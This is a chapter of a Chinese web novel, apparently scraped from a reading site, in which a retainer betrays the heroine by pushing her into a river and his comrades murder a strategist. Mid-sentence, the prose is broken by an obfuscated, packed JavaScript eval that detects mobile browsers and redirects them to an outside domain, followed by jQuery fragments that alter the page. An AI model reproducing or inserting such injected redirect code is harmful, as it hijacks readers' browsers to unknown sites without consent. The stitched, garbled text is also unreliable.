102. 败将
作品:《没有郎君我可怎么活啊》 天际泛起鱼肚白,洺山微明,陈文荷与师厌执手而立,亡羊集体后撤,双方身上都带了沉重的伤势。
陈王本就被师厌算计,如今双腿麻木到难以移动,医师在后面照看,张连张冼背上道道狰狞的疤痕鼓起,陈懿迟迟未来,那边仅有伏子絮状态最好,持剑而立,再次站到了陈文荷对面。
“永王!”段谯声聚到他身边,看着师厌满身伤,表情十分严肃,迟疑道:“青龙剑的伤……得跟伏子絮拿……”
陈文荷闻言一惊:“只有他有?”
“……那剑不是凡物,”段谯声摇摇头:“被青龙剑所伤,必成旧疾。”
刚刚他们争斗很久,岳擎云留下的伤已经结痂,师厌身上却还在渗血,陈文荷握着他的手,决然道:“我去找他要。”
“别去。”师厌从后面抱住她。
害怕伤口崩裂,陈文荷不敢乱动,急道:“可是你……”
“你以前给过我一瓶,”师厌埋头在她颈间:“我这些年很小心,没在他手上吃过大亏,这次是意外,我手里有药,能让人配置出来新的……不想看见你跟他在一起。”
望着伏子絮冷若冰霜的脸,陈文荷本来也没有把握,感受到师厌不安的情绪,她默然半晌,伸手摸了摸他的脸:“好。”
“再战无益,”师厌抬起头来,环视众人,似笑非笑地看着受伤的陈王:“陈元武,这毒是从赤那身边那群巫蛊身上搜来的,滋味可还好?”
陈王眼下青黑,他张了张唇,看向师厌:“是吗?天下奇人没有我搜罗不到的,你也未免太自信。”
陈文荷既然想要脱身,师厌当然会为她打算,淡声道:“那你可以去搜罗了,他们被我埋了两年,估计还剩点骨头。”
“你!”张连先怒:“你以为你将王残害成这样,我们便会因为伤势退兵吗?”
陈王若真的伤重无法治愈,他们也要陪葬,这个道理都明白,左右都是死,不如拼个鱼死网破。
“我们无意再与你们为难,”终于找到可以插话的契机,陈文荷深吸一口气:“我失忆时,你们率先找到我,却未曾对我下手,不论是因为什么,都足以成为放你们一马的理由。”
“如果你们愿意,我们各自为界,永不再犯。”
陈文荷拉住师厌的手,抬高声音:“陈王,两败俱伤,无论从前如何,你不欠我,我也不欠你了。”
“听你的意思,你想停战?”这话倒是引起陈王兴趣,他脖子上青筋浮现,忍耐着蚀骨的疼痛,沉沉笑了声:“疯丫头……你可真是善变。”
或许是因为失去重要的记忆,陈文荷明显温吞犹豫很多,就连随他回陈王府也做得出来,此时退缩并不奇怪,陈王笑着叹气:“行啊。”
“死伤惨重,如今中立的也已经死得七七八八,能占哪里,各凭本事,”陈王扭头对伏子絮道:“我们走。”
陈王府败将如潮水般散去,伏子絮目光停在陈文荷身上格外久,最后随着人潮缓缓后退时,他低声道:“你别忘了我。”
这声是赤裸裸的挑衅,师厌目光如寒冰,替陈文荷回道:“你算什么?”
陈文荷微微叹气,拉住师厌,也不想看见伏子絮,那目光让她如芒在刺:“我们走吧。”
伤员很多,鹤心与陈王单打独斗最久,正在原地扯了纱布包扎,段谯声懂不少医术,则是在帮师厌治伤。
陈文荷看着段谯声替他细心包好,还剩青龙剑的剑伤仍在渗血,问道:“你把药放在哪里了?”
“我放在鹤心那边了,”师厌笑道:“你去帮我拿?”
“给他做什么?”陈文荷莫名道。
师厌沉沉道:“谁知道伏子絮那个伪君子会不会骗你伤你?”
鹤心一直跟在她身边,也都是师厌授意保护?陈文荷没有打听亡羊身份,只摇摇头:“那你别动,我去拿。”
鹤心伤势重,流了一地血,陈文荷看着他跟死人一样惨白的脸色,吓得蹲下身:“你还好吧?还有没有医师,怎么一声不吭就在这里自己……”
她眉间微蹙,抱怨着察看鹤心的伤口,鹤心嘴唇微动:“……小姐。”
从刚刚起她就一直是太适应这个称呼,格外生疏,陈文荷犹豫片刻:“你要不要试试直接叫我名字?”
鹤心与她年龄相仿,也值得信任,陈文荷看着他的伤口有些心堵:“无论为了谁,顾全自己性命才是最要紧的。”
鹤心摇摇头,呼出一口气:“陈王与我有旧怨,对上他,我很难控制自己。”
陈文荷见他手臂都很难抬起来的样子,有点担心他身上的药不能用了,忧心道:“那青龙剑的伤药……你放在哪里了?”
“青龙剑?”鹤心疲倦地看着她:“师厌又被伏子絮的剑伤了吗?”
陈文荷不假思索地点点头。
“原来如此,”鹤心将手上浸透血的纱布丢入河中,沾满血迹的一双手僵硬地试图往怀里伸:“我给你拿……”
“等等,”陈文荷瞧见他那满是血污的手,撕下衣角,微微叹气:“我先帮你……”
她要去浸水帮他擦拭一下血污,岂料刚刚走到河边,便觉得身后一股劲风袭来,陈文荷惊恐万分地回身,对上鹤心骤然冰冷嗜血的一双眼。
身体被重重一推,这条长长的、始终充斥着危险不安的气息的暗河,终于在她成倍放大的恐惧里,又将她卷入其中。
“小姐……”他眼角沁出读不懂情绪的泪水,幽慢的话语随风而逝:“抱歉,耽误好久。”
“陈文荷!”
最后一瞬间,她看见满脸惊慌的师厌,他的表情已经模糊不清,可耳边能听见那落水的巨大回响。
来不及找鹤心算账,他决然跳入水中,宽阔湍急的暗河冲击着所有人的感官,段谯声伸出去挽留的手颤抖不已,半晌,拔出剑来直指鹤心:“你干什么!”
“杀了他。”鹤心冷冷拉上衣服,转头对着亡羊发号施令。
段谯声大惊失色,从容平静的脸上渐显惊慌,慢慢地往后退。
这群亡羊不是伤势沉重吗,可如今,他们宛如幽灵一般,一个个爬起来,面无表情地聚拢在鹤心身边,亮出兵器。
“你们不是陈文荷的死士吗?现在,鹤心才是你们的主?”段谯声身后是真正受伤颇重的军士,师厌毅然随陈文荷投河而去,他毫无倚仗,已是死局。
“亡羊从未易主,”齐衍活动了一下手腕,阴狠的目光在段谯声身上剐蹭:“而且,你似乎误会了,我们不只是‘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046245|167303||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亡羊’,更是‘王羊’。”
“当年击落小姐那根箭,如今也该还给段军师了,”鹤心咬住手上绷带,笑道:“动手。”
一切算计如此被人翻出来,段谯声脸色剧变,不顾一切风度地逃窜起来,可他在亡羊面前哪里够看,拦截的手下被人一刀结果,他被人团团围住,只剩死路一条。
“你……到底是怎么知道……”一柄钢叉刺破胸膛,段谯声喷出一大口血,不甘地看向鹤心:“你根本没有如此眼力……咳……”
“你的野心光放在师厌身上,如今希望也破灭了,乖乖受死不就好了,”齐衍又一刀扎入他的喉管,冷笑道:“你一路扶持他上位,真以为就凭自己,有一天可以独揽大权吗?”
段谯声身体抽搐几下便死透了,鹤心抬脚踩过他的尸身,冷冰冰望着这条暗河的方向:“随我去下游看看情况,小姐计划不容有失。”
“太冒险了,”何严摇摇头:“如今你可以告诉我们,小姐当年到底跟你说了什么吗?”
鹤心默然,须臾后才道:“我自有理由,小姐会想起来的。”
“可是你就这样把小姐推下去!”福兰怒道:“说再多,要是小姐真的不在了,你拿什么保证她能想起来!”
“所以我一直在犹豫,”鹤心冷冷道:“原本小姐告诉过我,若她失忆,第一时间就要不惜一切代价抹杀!可我在洺山见到现在的她,一直下不了手……直到方才听见她说要跟师厌远走高飞,停手休战去找世外桃源……我才明白,始终是我优柔寡断,不成气候。”
失去目标的陈文荷,要放弃一切的陈文荷,那不是真正的她,也永远、绝对不会是他们所追随的人!
这样的人生,对寻常女子来说的确神往,可由陈文荷说出来,便是她已经死了!
他就该第一时间下手,拖到现在,还有多少变数,真要看几分天意了。
“我们该了解她的,”朱娘很快理解了这个理由,沉声道:“鹤心做的没错,都不要担心了,陈小姐从未改变。”
她未雨绸缪,抹杀着阻碍她前进的一切,陈娥、秦姚、秦伯侯、文世修……甚至是可能出现在意料之外的,失忆的自己。
只有再度成为陈文荷,现在的她才配有活下去的资格。
不渡过此关,无法全胜,所以,她要为自己设局,韬光养晦,藏身,破茧。
……
“真的内讧了!”通风报信的陈天乾拔腿就跑,停到陈王面前,活像受惊的兔子:“爹爹爹……他们,他们把陈文荷推下去了!”
伏子絮目光巨震,难以置信地抬头。
他抬脚就走,陈王却撑着病体咬牙拉住伏子絮的手:“别被骗了!给我回来,我哪次对你食言过,她这一去,师厌必定死随,急不得!”
“爹你怎么又知道?”陈天乾抓了抓头发,有些凌乱:“那师厌直接纵身一跃,跟着她马上跳下去了!”
闻言,伏子絮再也站不住,头一次忤逆陈王的命令,扯开他的手,冷冷道:“陈懿等人还需要救治,王可自行决定去留。”
说罢,他身影立刻消失在这洺山边界,陈王气得锤了锤自己毫无知觉的腿:“还愣着干什么!带我一起过去,他指不定被陈文荷坑掉半条命!”

